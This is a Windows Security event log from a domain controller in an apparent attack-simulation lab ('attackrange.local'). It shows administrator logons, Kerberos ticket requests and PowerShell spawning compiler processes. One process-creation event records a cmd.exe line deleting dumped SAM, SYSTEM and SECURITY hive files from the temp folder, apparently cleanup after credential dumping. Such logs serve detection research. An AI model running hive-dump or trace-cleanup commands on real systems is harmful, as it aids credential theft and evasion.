			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258102
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x574157
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00D6810A-2734-CE80-3861-3A463340025F}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258101
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00D6810A-2734-CE80-3861-3A463340025F}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258100
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00D6810A-2734-CE80-3861-3A463340025F}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258099
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258098
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC479.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF15F3DEDB853481D858B3F4A761EF1CF.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa98
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\s1peraoc.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258112
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258111
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c "del" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa08
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c "" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c "del %temp%\sam >nul 2> nul & del %temp%\system >nul 2> nul & del %temp%\security >nul 2> nul" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1330
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x50c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC841.tmp" "c:\Users\Administrator\AppData\Local\Temp\e244sufx\CSC7C1C5E358814488FB42F9E9A7257837.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258107
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\e244sufx\e244sufx.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258129
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x579153

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258128
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258127
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x570E33

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258126
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x579153

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258125
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x579153
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{340486D4-536D-DCF9-E6F4-9F3FBAC11908}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258124
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{340486D4-536D-DCF9-E6F4-9F3FBAC11908}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258123
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{340486D4-536D-DCF9-E6F4-9F3FBAC11908}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258122
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258121
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57910B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258120
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57910B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258119
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57910B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{340486D4-536D-DCF9-E6F4-9F3FBAC11908}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258118
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{340486D4-536D-DCF9-E6F4-9F3FBAC11908}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258117
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{340486D4-536D-DCF9-E6F4-9F3FBAC11908}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

